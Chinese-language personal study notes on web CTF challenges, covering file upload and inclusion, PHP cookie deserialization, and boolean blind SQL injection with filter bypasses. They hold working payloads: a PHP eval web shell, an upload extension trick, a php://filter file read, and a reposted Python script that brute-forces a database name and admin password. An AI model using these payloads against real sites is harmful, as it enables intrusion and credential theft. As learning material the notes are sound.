以下差不多是150+开始的
[文件包含2]
注意到是文件包含,而不是上传。
啊
这个时候不单单是文件上传。注意这种方法:
在php文件里写入<script language=php>system("ls")</script>,列当前目录
同理,修改后缀名为jpg,如1.php;.jpg,上传成功 (列出当前目录的意思)
【这样改后缀的方法mark一下】
后缀改成.jpg之后蒙混过关了 代码在里面发酵.. 其实的呢,它给出了路径,根据这个路径试试,可以搞到文件,那么可以利用这个发挥作用。
<script language=php>@eval($_POST['cmd']);</script> (也很重要,但是这个被ban了)
javascript eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。
关于这句话: https://blog.csdn.net/xiuzhentianting/article/details/48442977
========
它后面的:
[flag.php]
发现各种乱搞, 扫描后台 post一下 hackbar用一下不行
题目提示: hint
既然没有submit 那么直接get传参
既然user和password不行 ?hint=.... 试一下
这样发现了源代码...
代码审计.... (折叠)
<?php error_reporting(0); include_once("flag.php"); $cookie = $_COOKIE['ISecer']; if(isset($_GET['hint'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else { ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Login</title> <link rel="stylesheet" href="admin.css" type="text/css"> </head> <body> <br> <div class="container" align="center"> <form method="POST" action="#"> <p><input name="user" type="text" placeholder="Username"></p> <p><input name="password" type="password" placeholder="Password"></p> <p><input value="Login" type="button"/></p> </form> </div> </body> </html> <?php } $KEY='ISecer:www.isecer.com'; ?>
notice: 既然已经源代码都找到了 还没有flag肯定是自己哪里搞错 审题 审题 审题
有坑:
(1) 里面类似是嵌套的
最后才给出了$KEY的定义
key的值是在最后面定义的 所以前面是null(其实是"" 不能输入null进行序列化哦) 序列化见后面附录
(2)格式问题(再次证明我是个筛子...)
参考前文给出/ 捕获其他进行对比/ 搞清楚再下笔
这里没有"s" 加上是冒号
注意前是xx=xx
我们查看源代码里面的提示 啊111 ISecer=..... !!!! (代码审计!!! 前面是cookie)
$_COOKIE['ISecer']
这个东西就是ISecer的值是.....
$cookie = $_COOKIE['ISecer'];
这个东西就是定义一个is...的cookie, 然后$cookie是保存的他的值,当他的值等于...的时候就ok
(解除序列化等于它lo, 我们就搞到$key 原来的值上去 )
elseif (unserialize($cookie) === "$KEY")
=================
后面两个题目坏掉了.... 神tm容易
"phpmyadmin"可以用来登录的
[login2]
placeholder 这个东西 是新属性 , 后面才支持
<input type="text" name="fname" placeholder="First name"><br>
所以。。 type是显示类型, name是很重要的 placeholder相当于二次标注 不用管的
抓包哦。。。。 后面发现竟然网页里自己带了个tip
意思是:
$sql="SELECT username,password
FROM admin
WHERE username='
".$username." '
";
if (!empty($row) && $row['password']===md5($password)){ }
[login3] 我感觉就是要充分利用好返回的不同的信息!
先输入,发现用户名不存在,但是当输入admin的时候,返回的是密码错误,输入个别的比如select,非法的字符串。emmm,可以布尔盲注:
然后试试在admin后加上单引号,但是返回是用户名不存在
这意味着什么呢?这说明即使语法错误,也不会在页面上显示报错信息,
也就不能使用报错注入了,我们发现有两种返回信息:
username does not exist!和password error!,那我们可以利用这两个返回值进行布尔盲注。
我们猜测后台的验证应该是先查找我们输入的用户名是否存在,大概是:
select password,username from users where username=”我们输入的用户名”
如果我们在where语句的结尾加上一个and连接的布尔判断语句,就可以根据返回值判断where条件是否成立,比如这道题就可以尝试补成
where username=’admin’ and (substring(database(),1,1)=’a’)【从1开始提取数据库名字,只提取一个】
如果返回值是password error,那么就说明where语句是成立的,那么我们补充的那就也是成立的,那么就可以确定数据库的第一位是a,然后再猜测第二位。passworderror表明前面是username那一关已经过了,也就是后面的bool值是真的
如果你是=‘b’的话,那边不会过,即使是admin输入,也会爆用户名不存在的错误。
---------------------
原文:https://blog.csdn.net/zpy1998zpy/article/details/80667775
好的,但是这个题目过滤了and。
经过尝试发现还过滤了空格,逗号,等号,for
空格用括号代替,等号用<>(一种不等号)代替
以及:异或运算^,先说一下基本规则:
1^1=0 1^0=1 0^0=0
先猜数据库名,基本语句
admin’^(ascii(mid(database()from(1)))<>97)^0#
解释一下为什么,为了绕过空格过滤,用括号隔开,过滤了等号,用不等号 <>代替,只要是布尔值就可以。mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢?
这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。
每个字符的ascii码判断是不是不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算。
如果数据库名的第一位的ascii码值不是97,【<> 就是不等于的意思】where条件是username=’admin’^1^0
返回值是username does not exist! (假)1+1+0
如果数据库名的第一位的ascii码值是97,where条件是username=’admin’^0^0
返回值会是password error! (真)1+0+0
这就构成了布尔报错注入。
【passe是整个值为真的情况,userex是整个值是假的情况,admin是真,那么见后面的括号。
补充一点,因为这里既是语法错误也不会报错,有可能你输入的语句就不可能成立,但你也不知道,就很麻烦了,不过可以改变最后是^0还是^1,如果改不改返回值相同,那就是有语法错误,如果不同就可以参照上一段了。这也是为什么要多加一个^0,看似多此一举,其实好处多多。
就是说admin’^(ascii(mid(database()from(1)))<>97)^1# 就可以得到password error!
【因为,真+真,+真=真,+假=假,如果最后那个 ^1 ^0答案是不同的,就说明你可以进行布尔盲注入。】
嗯,然后这个当然不是手算了,python写了一个脚本来暴力破解。
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
import requests str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=" url="http://118.89.219.210:49167/index.php" r=requests.session() def databasere(): resutlt="" for i in range(30): fla = 0 for j in str_all: playlod="admin'^(ascii(mid(database()from({})))<>{})^0#".format(str(i),ord(j)) data = { "username": playlod, "password": "123" } s=r.post(url,data) print(playlod) if "error" in s.text: resutlt+=j print(resutlt) if fla == 0: break def password(): resutlt="" for i in range(40): fla=0 for j in str_all: playlod = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j)) data = { "username": playlod, "password": "123" } s=r.post(url,data) print(playlod) if "error" in s.text: resutlt+=j fla=1 print('**************************',resutlt) if fla==0: break #databasere() password() --------------------- 作者:孤鸿影~ 来源:CSDN 原文:https://blog.csdn.net/zpy1998zpy/article/details/80667775 版权声明:本文为博主原创文章,转载请附上博文链接!
脚本我还不会写!!!看上去很麻烦然鹅到时候
到时候记录一下吧
有关【文件】
?op=php://filter/read=convert.base64-encode/resource=flag
(因为op=upload....)
emmmmm 发现后面的题目都坏掉了.... 也没有题解.... (所以我才觉得没提可做吧...orx)
菜刀下载地址:https://blog.csdn.net/xxxslinyue/article/details/79397973 (但是又病毒 又被ban了)
===========附录============
1.php在线编程地址: http://www.dooccn.com/php/
2.php反序列化
学习地址: https://www.jb51.net/article/112638.htm
那么我们写一行代码就是:
<?php $arr=array(); $arr['name']='张三'; var_dump($arr); $info=serialize($arr); var_dump($info); $inffo=unserialize($info); var_dump($inffo); ?>
$a='zhangsan';
直接这样就可以...
然后就是注意,在线生成但因为我们是输出var_dump 所以前面的string(7)去掉 引号也去掉
其实值是 s:0:""